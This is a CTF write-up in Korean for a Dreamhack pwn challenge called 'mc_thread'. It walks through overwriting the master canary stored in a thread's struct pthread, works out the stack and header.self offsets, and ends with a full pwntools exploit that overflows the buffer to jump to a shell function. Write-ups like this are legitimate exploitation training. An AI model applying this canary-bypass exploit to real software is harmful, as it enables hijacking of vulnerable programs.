-> 따라서 fs:0x28에 위치한 랜덤바이트를 master canary라고 함.

__pthread_disable_asynccancel+18 에서 오류 발생byte ptr [rax + 0x972], 0 에 0을 대입할 때 접근할 수 없는 주소로 인한 오류 발생.0x6161616161616161 + 0x972 에 접근해 값을 대입해야 하는데 0x6161616161616ad3 이라는 주소에는 접근할 수 없기 때문에 오류가 발생하는 것.현재 스레드의 struct pthread 구조체 확인

현재 스레드 스택의 buffer 시작주소와 header.self의 차이 계산


buffer 시작 주소와 header.self의 offset = 0x910
카나리, 리턴 주소를 덮어야 하므로 스택 구조 확인

canary 까지의 offset = 264
header.self에서 master canary 까지의 offset 확인

header.self는 원하는 주소로 조작할 것이므로 사이의 offset은 0x10
header.self를 조작할 주소 확인

vmmap을 이용해 w 권한이 있는 주소 확인
from pwn import *
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote("host3.dreamhack.games",22712)
else:
p = process("./mc_thread")
e = ELF("./mc_thread",checksec=False)
pause()
shell = e.symbols["giveshell"]
payload = b''
payload += b'a'*264
payload += b'A'*8
payload += b'a'*8
payload += p64(shell)
payload += b'a'*(0x910-len(payload))
payload += p64(0x404000-0x972)
payload += b'a'*0x10
payload += b'A'*8
print(len(payload)/8)
p.sendlineafter(": ","294")
p.sendafter(": ",payload)
p.interactive()